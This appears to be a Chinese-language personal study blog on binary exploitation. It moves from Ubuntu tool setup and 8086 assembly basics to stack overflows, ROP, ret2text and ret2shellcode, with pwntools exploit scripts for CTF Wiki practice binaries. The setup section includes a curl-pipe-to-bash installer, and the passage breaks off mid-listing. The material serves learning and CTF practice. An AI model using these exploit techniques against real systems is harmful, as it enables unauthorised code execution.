Pwn芝士学爆
环境配置
ubuntu24.04安装
软件合集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
sudo apt install vim -y
sudo apt install gcc -y
sudo apt install git -y
sudo apt install python3-pip -y
sudo mv /usr/lib/python3.12/EXTERNALLY-MANAGED /usr/lib/python3.12/EXTERNALLY-MANAGED.bk
sudo pip install pwntools
sudo apt install ruby -y
sudo apt install ruby-dev -y
sudo gem install one_gadget
sudo gem install seccomp-tools
cd ~/
git clone https://github.com/matrix1001/glibc-all-in-one
cd ~/glibc-all-in-one
sudo python3 update_list
cd ..
sudo apt install patchelf
cd ~/
git clone https://github.com/dsyzy/free-libc
cd ~/free-libc
sudo sh ./install.sh
cd ..
sudo apt install build-essential libssl-dev -y
sudo apt install cmake -y
sudo apt install wabt -y
cd ~/
git clone --recursive https://github.com/WebAssembly/wabt
cd wabt
mkdir build
cd build
cmake ..
cmake --build .
sudo apt install curl -y
curl https://wasmtime.dev/install.sh -sSf | bash
sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients virtinst bridge-utils virt-manager virt-viewer -y
|
装pwndbg
1
2
3
4
5
6
7
8
|
cd ~/
git clone https://github.com/pwndbg/pwndbg
cd ~/pwndbg
./setup.sh
git clone https://github.com/scwuaptx/Pwngdb
cp ~/Pwngdb/.gdbinit ~/
vim ~/.gdbinit
source ~/pwndbg/gdbinit.py
|
汇编
【8086汇编入门】《零基础入门学习汇编语言》_哔哩哔哩_bilibili
CPU工作原理
8086CPU所有的寄存器都是16位,可以存放两个字节
AX,BX,CX,DX通常用来存放一般性数据被称为通用寄存器,都可以分为两个独立的8位寄存器使用,例如AX可以分为AH和AL,后面类似,也就是分为高位和低位
汇编指令

段地址*16+偏移地址=物理地址
偏移地址为16位
段寄存器
就是提供段地址的
8086CPU有4个CS,DS,SS,ES,当它要访问内存时,由这四个提供段地址
CS和IP是8086CPU最关键的寄存器,指示了CPU当前要读取指令的地址,CS是代码寄存器,IP是指针寄存器
8086CPU工作流程:
- 从CS:IP指向的内存单元读取指令,读取的指令进入指令缓冲器
- IP加上读取指令的长度,从而指向下一条指令
- 执行指令
在任何时候,CPU将CS,IP中的内容当作指令的段地址和偏移地址,合成物理地址,在内存中读取指令码,执行
mov不能更改CS,IP的值,但是另一种指令jmp可以
1
2
|
jmp 段地址:偏移地址
这里的段地址修改CS,然后偏移地址修改IP
|
如果仅修改IP的内容
1
2
3
|
jmp 某一合法寄存器
jmp ax (类似 mov IP,ax)
也就是利用寄存器中的值修改IP
|
debug的使用
由于debug这个工具是32位的,win10无法使用,先去下个dosbox,然后下载一个debug
去dosbox修改配置
1
2
3
|
MOUNT C C:\debug
C:
debug
|

然后现在打开dosbox,会出现两个界面,出现蓝框的是模拟debug界面,现在输入dds:0验证

r指令可以用来查看和修改寄存器的值

同理也可以修改cs和ip
然后d命令用来查看内存中的内容,这里查看的话是空的
a命令用来用汇编形式向内存中写入命令

查看的话d命令后面要跟对cs和ip

用u命令的话可以以汇编的形式查看
之前u或者d查看不到是因为cs和ip地址不对,可以修改成这里的地址,就不用带地址查询了
接下来用t命令执行命令

总之一直按t就会一直执行,这里quit退出
e指令就是改指令,用法跟上面几个一样
内存访问
8086CPU中有一个DS寄存器,通常用来存放要访问的数据的段地址
[address]
1
2
3
4
|
我们现在要读取10000H单元的内容
mov bx,1000
mov ds,bx
mov al,[0]
|
现在解释一下上面的原理
mov指令的格式
[...]表示一个内存单元,其中的0表示内存单元的偏移地址
执行指令时,8086CPU自动取DS的数据为内存单元的段地址
因此读取10000H的过程就是段地址1000存入ds,然后用[0]表示偏移地址为0,这样就实现读取10000H
但是我们不能直接把1000H放入ds
8086CPU不支持将数据直接送入段寄存器的操作,ds是一个段寄存器
所以存入的方式是:数据->通用寄存器->段寄存器
栈
跟数据结构的栈类似,先进后出
8086CPU提供入栈和出栈的指令:PUSH和POP
1
2
|
push ax 将ax中的数据送入栈
pop ax 从栈顶取出数据放入ax
|
入栈和出栈都是以字为单位进行的
8086CPU有两个寄存器,段寄存器SS:存放栈顶的段地址,寄存器SP:存放栈顶的偏移地址
任意时刻,SS:SP指向栈顶元素,栈为空时sp设置为0010H
栈满的时候再使用push入栈,和栈空的时候使用pop出栈都会发生栈顶超界问题,也就是栈溢出
第一个程序
伪指令
1
2
3
4
5
|
xxx segment //代码段
xxx ends //代码段的结束
end //程序结束
assume //寄存器和段的关联假设
assume cs:codesg //跟定义差不多,就是把cs的段定义为codesg
|
DOS中的程序运行
Dos是一个单任务操作系统

返回控制权的过程就叫程序返回
实现程序返回,必须要在程序末尾添加固定的返回程序段
这两条指令实现的功能就是程序返回

现在用notepad++或者其他编辑器,编一个汇编程序
1
2
3
4
5
6
7
8
9
10
11
12
|
assume cs:abc
abc segment
mov ax,2
add ax,ax
add ax,ax
mov ax,4c00H
int 21H
abc ends
end
|
最简单的其实就是去vscode下载DOSBOX插件和MASM/TASM插件,然后直接打开asm文件就行,左下角选择jsdos MASM

运行

会提示没有栈段,没有入口地址,但是后面还是运行了
dos系统中的shell,也就是对应的程序command.com
我们在dos系统中执行exe时,将正在运行的command将exe载入内存,command设置的cs:ip指向程序的第一条指令(程序的入口),从而使程序运行,结束运行后,返回到command中,cpu继续运行command
debug
加上入口的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
assume cs:codeseg
codeseg segment
start: mov ax,0123H
mov bx,0456H
add ax,bx
add ax,ax
mov ax,4c00H
int 21H
codeseg ends
end start
|
debug这个程序

可以看到cx的值是F,cx中存放的是程序的长度,也就是程序的机器码共有15个字节
这里观察CS和DS的值,发现他们相差10H

从这个图可以看出,DS和CS的地址之间有一个PSP,dos用来与程序进行通信,256字节后也就是这里的10H加上偏移地址后变成100H的长度后,存放程序
继续debug,一直按t命令执行下一步
当下一步指令是int的时候,我们要用p命令来执行

[BX]和loop指令
[bx]
先写一个代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
assume cs:codeseg
codeseg segment
start: mov ax,2000H
mov ds,ax
mov al,[0]
mov bl,[1]
mov cl,[2]
mov dl,[3]
mov ax,4c00H
int 21H
codeseg ends
end start
|
debug一下

这里查看初始的偏移地址都是0,但是下面mov bl那一步居然是1,继续按t命令往后都是有数字的

这就跟这个编译有关系了,这里直接在编译器里面写代码编译是不会识别[...]为内存单元,只会当成数字处理
这里[bx]同样与前面[0]也表示一个内存单元,它的偏移地址在bx中,而前面[0]这种的内存单元的段地址在ds中
1
2
|
mov ax,[bx]
mov al,[bx]
|
下面具体学习一下[bx],先写代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
assume cs:codeseg
codeseg segment
start: mov ax,2000H
mov ds,ax
mov bx,1000H
mov ax,[bx]
inc bx
inc bx
mov [bx],ax
inc bx
inc bx
mov [bx],ax
inc bx
mov [bx],al
inc bx
mov [bx],al
codeseg ends
end start
|
这里inc bx的意思是bx+1
mov ax,[bx]这里是将2000:1000的地址的数据给ax
后面自增bx,填入前面传给ax的数据
而前面[...]不能被识别成内存单元的情况,可以改成ds:[...]就可以了
loop
循环的意思,使用格式是loop 标号
cpu执行loop指令时,要进行两部操作
1
2
|
cx=cx-1
判断cx中的值,不为零则转至标号处执行程序,为0就向下执行
|
也就是cx存放循环的次数
比如我们要计算2的12次方,正常来说要相加11次2,这里用loop指令实现
1
2
3
4
5
6
7
8
9
10
|
assume cs:codeseg
codeseg segment
start: mov ax,2
mov cx,11
s: add ax,ax
loop s
mov ax,4c00H
int 21H
codeseg ends
end start
|
如果cx很大,也就是循环次数很多,我们debug的时候不可能一直按t到结束
所以先u命令查看loop指令所在ip的值和后面退出循环ip的值,g命令直接跳转到循环后的命令

可以看到我们这里直接从ip为0006的位置跳到了000A的位置,或者直接p指令结束掉
之前给出的ds:[...]前面ds就称为段前缀,ds,cs,ss,es都可以这样用
一段安全的空间
8086中,随意的向一段内存空间写入内容是很危险的,因为这段内存空间可能存放的重要的数据或者代码

段前缀
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
assume cs:code
code segment
start: mov bx,0
mov cx,12
s: mov ax,0ffffh
mov ds,ax
mov dl,[bx]
mov ax,0020h
mov ds,ax
mov [bx],dl
inc bx
loop s
mov ax,4c00h
int 21h
code ends
end start
|
这段程序实现段地址内容0ffffh到0020h的迁移,一次循环需要设置两次ds,非常的麻烦,这里引入es这个段寄存器来存放0020h的段地址,也就是现在两个段寄存器存放两个段地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
assume cs:code
code segment
start: mov bx,0
mov cx,12
mov ax,0ffffh
mov ds,ax
mov ax,0020h
mov es,ax
s: mov dl,[bx]
mov es:[bx],dl
inc bx
loop s
mov ax,4c00h
int 21h
code ends
end start
|
包含多个段的程序
dw意思是define word,可以定义字型数据
1
|
dw 0123h,xxxh,....,0abch
|
意思就是把这么多字型数据相加然后存到ax中
由于dw定义的数据处于代码段的最开始,所以偏移地址为0,他们的偏移地址分别是0,2,4,6,8,A,C,E
在代码段中使用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
assume cs:codeseg
codeseg segment
dw 0123h,0456h,0789h,0ABCh,0defh,0fedh,0cbah,0987h
dw 0,0,0,0,0,0,0,0
start: mov ax,cs
mov ss,ax
mov sp,32
mov bx,0
mov cx,8
s: push cs:[bx]
add bx,2
loop s
mov bx,0
mov cx,8
s0: pop cs:[bx]
add bx,2
loop s0
mov ah,4ch
int 21h
codeseg ends
end start
|
将数据、代码、栈放入不同的段
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
assume cs:code,ds:data,ss:stack
data segment
dw 0123h,0456h,0789h,0ABCh,0defh,0fedh,0cbah,0987h
data ends
stack segment
dw 0,0,0,0,0,0,0,0
stack ends
code segment
start: mov ax,stack
mov ss,ax
mov sp,20h
mov ax,data
mov ds,ax
mov bx,0
mov cx,8
s: push [bx]
add bx,2
loop s
mov bx,0
mov cx,8
s0: pop [bx]
add bx,2
loop s0
mov ax,4c00h
int 21h
code ends
end start
|
但是实际上,这里定义data和stack是可以随便替换的,比如用a和b来代替
更灵活定位内存地址的方法
and和or指令
就是与和或运算
and:把操作对象的相应位设为0,其他位不变
or:把操作对象的相应位设为1,其他位不变
ascii码
在汇编中表示ascii码可以用'...'来把字符表示为ascii码
1
2
3
4
5
6
7
8
9
10
11
12
|
assume cs:code,ds:data
data segment
db 'unIX'
db 'foRK'
data ends
code segment
start: mov al,'a'
mov bl,'b'
mov ax,4c00h
int 21h
code ends
end start
|
大小写转换问题:大写字母的第五位都是0,小写字母的第五位都是1,这里显然可以用到与和或的性质,把字母进行大小写转换
[bx+idata]
例如mov ax,[bx+200],其实就是正常内存单元的位置+200,也就是偏移地址+200,这个意思ax=ds*16+bx+200
这里写法有很多:[bx+5],[bx].5,5[bx]都是一个意思
SI和DI
SI和DI与bx功能相近的寄存器,但是他们不能分成两个8位寄存器使用
我们常用ds:si指向要复制的原始字符串,用ds:di指向复制的目的空间,用循环完成复制,就是实现前面用bx实现的那个
这个也可以写成两个变量的形式[bx+si],[bx+di],或者写成类似mov ax,[bx][si]
数据处理
在8086CPU中,只有bx,bp,si,di可以在[...]进行内存单元的寻址,在[...]中,只能bx和si,bx和di,bp和si,bp和di四种组合,只要[...]里面使用bp,不指定段地址的话,默认是ss
数据有字符和字型两种类型,前面一种是8字节,后面一种是16字节,用寄存器名可以指明数据的尺寸,没有寄存器名存在情况下,用X ptr指明内存单元的长度,X在汇编指令中可以为word或者byte
div指令
格式:
1
2
|
div byte ptr ds:[0] ;含义是al=ax/(ds*16+0)的商,ah=ax/(ds*16+0)的余数
div word ptr ds:[0] ;含义是ax=(ax+dx*10000H)/(ds*16+0)的商,dx=...的余数
|
伪指令dd
前面我们用db和dw定义字节型数据和字型数据,dd是用来定义dword(double word双字型数据),也就是32位
dup
编译器认识,cpu不认识这个指令
1
2
|
db 3 dup(0) ;相当于db 0,0,0
db 3 dup(0,1,2) ;相当于db 0,1,2,0,1,2,0,1,2
|
转移指令
offset
取得标号的偏移地址

jmp
无条件跳转指令,可以只修改IP,也可以同时修改CS和IP,jmp指令一般要给出转移的目的地址,转移的信息
依据位移进行转移的
jmp short标号

1
2
3
4
5
6
7
8
|
assume cs:codeseg
codeseg segment
start: mov ax,0
jmp short s
add ax,1
s: inc ax
codeseg ends
end start
|

转移目的地址的转移
jmp far ptr标号,与前面段内转移不同,这个是不同段之间的转移
1
2
3
4
5
6
7
8
9
10
|
assume cs:codeseg
codeseg segment
start: mov ax,0
mov bx,0
jmp far ptr s
db 256 dup(0)
s: add ax,1
inc ax
codeseg ends
end start
|
far ptr指明了要修改的CS和IP
转移地址在寄存器
用法就是jmp 16位寄存器
转移地址在内存中


jcxz指令
意思是如果cx=0,执行jmp short 标号,cx不等于0,直接执行下一步
Call和Ret指令
call和ret都是转移指令,都修改ip或者同时修改cs和ip
ret和retf指令
ret指令用栈中的数据,修改IP的内容,实现近转移
retf指令用栈中数据,修改CS和IP的内容,实现远转移
call指令
call指令先将当前的IP或CS和IP入栈,再进行转移,call指令不能进行短转移


在内存中的和寄存器中的跟前面jmp类似
mul指令
就是乘法

标志寄存器

ZF
zf是零标志位,执行程序结果为0,它就为1,执行程序结果不为0,那它就为0
PF
pf是奇偶标志位,判断结果二进制中1的数量,所有bit位的1的个数为偶数则为1,否则为0
SF
符号标志位,判断结果是否为负,为负则为1,非负为0
CF
进位标志位,CF就是记录比如两数相加的更高位的进位值,记录无符号数运算有意义的标志位
OF
溢出标志位,溢出为1,否则为0,记录有符号数运算有意义的标志位
adc指令

sbb指令

cmp指令

根据cmp指令比较后的值进行条件转移的指令:
DF




pushf和popf
pushf的功能是将标志寄存器的值压栈,而popf是从栈中弹出数据,送入标志寄存器中
stack overflow
以下基本照抄ctfwiki的:基本 ROP - CTF Wiki
栈
栈就不多说了,32位和64位程序在调用函数上有明显的区别
x86
函数参数在函数返回地址的上方
x64
System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。
栈溢出原理
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。
所以发生栈溢出的基本前提是:程序必须向栈上写入数据,写入的数据大小没有被良好的控制
以这里32位程序为例
首先都是checksec查看有无保护和地址随机化
1
2
3
4
5
6
|
➜ stack-example checksec stack_example
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
|
这里用gets函数演示,该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为
1
2
3
4
5
6
7
8
9
10
11
12
|
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+
|
我们可以通过 IDA 获得 success 的地址,其地址为 0x0804843B。
1
2
3
4
5
6
7
8
9
10
11
12
|
.text:0804843B success proc near
.text:0804843B push ebp
.text:0804843C mov ebp, esp
.text:0804843E sub esp, 8
.text:08048441 sub esp, 0Ch
.text:08048444 push offset s ; "You Hava already controlled it."
.text:08048449 call _puts
.text:0804844E add esp, 10h
.text:08048451 nop
.text:08048452 leave
.text:08048453 retn
.text:08048453 success endp
|
由于32位寄存器ebp存放4字节的数据
1
|
0x14*'a'+'b'*4+success_addr
|
覆盖后的栈结构为
1
2
3
4
5
6
7
8
9
10
11
12
|
+-----------------+
| 0x0804843B |
+-----------------+
| bbbb |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+
|
结合上面的例子,我们得到了栈溢出的几个步骤
寻找危险函数
输入的函数:gets,scanf,vscanf
输出的函数:sprintf
字符串:strcpy,strcat,bcopy
确定padding长度
这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。
我们一般用来覆盖函数返回地址(这个时候直接看EBP就行了)
基本的ROP
当NX开启时,也就是不能传统的注入shellcode的时候,就要考虑用ROP(Return Oriented Programming),其主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
gadgets 通常是以 ret 结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。
ROP这一名称由来就是因为其核心在于利用了指令集中的 ret 指令,从而改变了指令流的执行顺序,并通过数条 gadget “执行” 了一个新的程序。
使用 ROP 攻击一般得满足如下条件:
- 程序漏洞允许我们劫持控制流,并控制后续的返回地址。
- 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
需要注意的是,现代操作系统通常会开启地址随机化保护(ASLR),这意味着 gadgets 在内存中的位置往往是不固定的。但幸运的是其相对于对应段基址的偏移通常是固定的,因此我们在寻找到了合适的 gadgets 之后可以通过其他方式泄漏程序运行环境信息,从而计算出 gadgets 在内存中的真正地址。
32位ROP
假设溢出处的汇编如下
1
2
3
4
5
6
7
|
0x400000 func:
0x400000 mov eax, 0xdeadbeef
0x400004 ret
0x400005 main:
0x400005 call func
0x400009 mov eax, 0
0x40000b ret
|
地址0x0000000c的值为0x400005,如果要挟持返回,我们肯定想着修改0x400005的值,想要getshell,自然要把这里改成system('/bin/sh'),假设现在system的地址是0xf7000000,我们肯定想着把0x400005改成0xf7000000,但是/bin/sh怎么传入呢,假设/bin/sh的地址是0xdeadbeef,但是我们还是不知道怎么传
这里我们回顾一下32位下函数的调用,我们想要调用函数foo(233),实际的汇编代码如下
1
2
3
|
push 233
call foo
nop
|
也就是先push233入栈,接着调用call,把返回地址压入栈,跳转到foo函数,此时当foo函数返回的时候,也就是ret指令执行的时候,RSP(ESP)也应该在这个位置,也就是说,foo函数开始执行的时候,RSP(ESP)指向返回地址,而它需要的参数在RSP+4的位置,我们通过ROP挟持返回地址到foo函数时,要确保进入foo函数的瞬间,RSP+4的位置是它第一个参数,而RSP是foo的返回地址
把foo函数替换成前面的system函数,同理可以知道怎么做,前提是我们需要知道system和对应参数的地址
64位ROP
64 位的参数传递是通过寄存器传递的,我们只需要通过控制寄存器的值就可以实现参数传递,因此更多的是通过合适的手段将寄存器修改为我们想要传递的值
在没那么新的 gcc 中,程序都会被编译进一个 _libc_init_csu 函数用于初始化,在这个函数中,有一个汇编片段如下
其中,pop r15 占 2 字节,我们假设其起始地址为 0x8,那么 ret 的地址就是 0xa,如果从 0x9 开始看这个代码片段,由于地址错位的问题,代码片段会变成这样
这个字节错位弄出来的代码片段,非常有用,因为其 pop rdi 这条指令,让我们有能力通过栈去修改寄存器了,而这个寄存器就是 rdi,那么我们就可以通过栈去修改 rdi 的值,从而实现参数传递了
这些有用的代码片段,我们一般就称为 gadget
64位想要跟32位一样进行ROP,还是考虑返回到 system("/bin/sh")
假设 system 的地址是 0x7f000000,"/bin/sh"的地址是 0xdeadbeef
现在覆盖栈如下
| 地址 |
值 |
如果值为指针,其指向的地址 |
RSP |
| 0x00000018 |
0x7f000000 |
system 的开始 |
|
| 0x00000010 |
0xdeadbeef |
“/bin/sh” |
|
| 0x00000008 |
gadget |
pop rdi; ret |
<- |
首先,ret 返回到 pop rdi,此时 RSP 指向了 0x00000010,而 pop rdi 会将 0xdeadbeef 赋给 rdi,这个过程中,RSP 指向了 0x00000018, 然后 ret 返回到 system,此时 RSP 指向了 0x00000020,而 system 的第一个参数就是 rdi,因此 system 的第一个参数就是 0xdeadbeef,也就是 "/bin/sh",从而 getshell 成功
现在我们已经能够实现通过在合适的位置布置地址实现按照一定的顺序调用函数。但是这还不够精细,毕竟我们现在还很难控制调用这些函数时传递的参数
gadget 在这里指的是以 ret 指令结尾的代码片段,例如 leave; ret 就是一个很常用的 gadget。我们可以利用各种合适的 gadget 拼凑出需要的程序逻辑。
获取 gadget 可以使用工具 ROPgadget 获取到 elf 文件中的大部分 gadget。
1
2
|
ROPgadget --binary xxx
ROPgadget --binary xxx --only "pop|ret" #指定pop rdi;ret这种的gadget
|
ret2xxx系列
ret2text
ret2text 就是利用 ELF 部分中储存可执行代码的部分(即.text 段),在前面的栈溢出部分,我们已经学习过这个的做法了
以ctfwiki上例题为例
1
2
3
4
5
6
|
➜ ret2text checksec ret2text
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
|
只开了NX
1
2
3
4
5
6
7
8
9
10
11
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets((char *)&v4);
printf("Maybe I will tell you next time !");
return 0;
}
|
gets存在栈溢出,看text字段
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
.text:080485FD secure proc near
.text:080485FD
.text:080485FD input = dword ptr -10h
.text:080485FD secretcode = dword ptr -0Ch
.text:080485FD
.text:080485FD push ebp
.text:080485FE mov ebp, esp
.text:08048600 sub esp, 28h
.text:08048603 mov dword ptr [esp], 0 ; timer
.text:0804860A call _time
.text:0804860F mov [esp], eax ; seed
.text:08048612 call _srand
.text:08048617 call _rand
.text:0804861C mov [ebp+secretcode], eax
.text:0804861F lea eax, [ebp+input]
.text:08048622 mov [esp+4], eax
.text:08048626 mov dword ptr [esp], offset unk_8048760
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp+input]
.text:08048635 cmp eax, [ebp+secretcode]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
|
得到shell地址是0x0804863A,利用gets的栈溢出,使返回地址为0x0804863A就能getshell
1
2
3
|
.text:080486A7 lea eax, [esp+1Ch]
.text:080486AB mov [esp], eax ; s
.text:080486AE call _gets
|
可以看到是通过相对于esp的索引,把断点下在call处,查看esp和ebp的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
gef➤ b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤ r
There is something amazing here, do you know anything?
Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24 gets(buf);
───────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebx : 0x00000000
$ecx : 0xffffffff
$edx : 0xf7faf870 → 0x00000000
$esp : 0xffffcd40 → 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebp : 0xffffcdc8 → 0x00000000
$esi : 0xf7fae000 → 0x001b1db0
$edi : 0xf7fae000 → 0x001b1db0
$eip : 0x080486ae → <main+102> call 0x8048460 <gets@plt>
|
得到esp是0xffffcd40,所以前面变量s的地址是esp+0x1c,也就是0xffffcd5c,ebp地址是0xffffcdc8,两个相减得到偏移0x6c,所以exp
1
2
3
4
5
6
7
|
##!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x6c + 4) + p32(target))
sh.interactive()
|
ret2shellcode
对于没开NX保护的程序,也就是程序的内存中有一段可写且可执行的内存,可以通过提前向其中写入 shellcode,然后再通过控制返回地址使程序执行 shellcode,shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。通常情况下,shellcode 需要我们自行编写,即此时我们需要自行向内存中填充一些可执行的代码。
需要注意的是,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用。
如何生成shellcode
以下面这个程序为例子,这个程序首先通过 mmap 申请了一块有执行权限的内存,起始地址为 0xdead0000,然后通过 read 读入内容,同时后面还有一个栈溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
// gcc test.c -no-pie -fno-stack-protector -g
#include <stdio.h>
#include <stdlib.h>
int main() {
mmap(0xdead0000, 0x1000, 7, 0x21, -1, 0);
char *p = (char *)0xdead0000;
char str[0x20];
read(0, p, 0x1000);
read(0, str, 0x50);
return 0;
}
|
对应的exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"
p = process("./a.out")
elf = ELF("./a.out")
p.send(asm(shellcraft.sh()).ljust(0x1000, b"\x00"))
payload = b"A" * 0x38
payload += p64(0xDEAD0000)
p.send(payload)
p.interactive()
|
上面这个 exp 中,shellcraft.sh() 函数用于生成获取 shell 的 shellcode 的汇编指令,而 asm 函数用于将汇编指令转化为机器码。
还是以ctfwiki的例题为例
1
2
3
4
5
6
7
|
➜ ret2shellcode checksec ret2shellcode
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
|
没有栈保护,并且有可读,可写,可执行段
1
2
3
4
5
6
7
8
9
10
11
12
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return 0;
}
|
可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。
1
2
|
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
|
在main函数下断点调试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
gef➤ b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef➤ r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
Breakpoint 1, main () at ret2shellcode.c:8
8 setvbuf(stdout, 0LL, 2, 0LL);
─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
6 int main(void)
7 {
→ 8 setvbuf(stdout, 0LL, 2, 0LL);
9 setvbuf(stdin, 0LL, 1, 0LL);
10
─────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048536 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx
0xf7fd3000 0xf7fd5000 0x00000000 rwx
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]
|
查看vmmap发现bss段有可执行权限
1
|
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
|
我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode
1
2
3
4
5
6
7
8
9
|
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()
|
这里如果0x64+4这样算的话只有104,而这里是112,可能是动调的时候有padding吧
另一个例子通过mprotect()动态修改过内存页权限的 ret2shellcode 为例
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]
$ checksec ret2shellcode
[*] '/home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
依旧没保护,并且有可读,可写,可执行段
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char src[104]; // [rsp+0h] [rbp-70h] BYREF
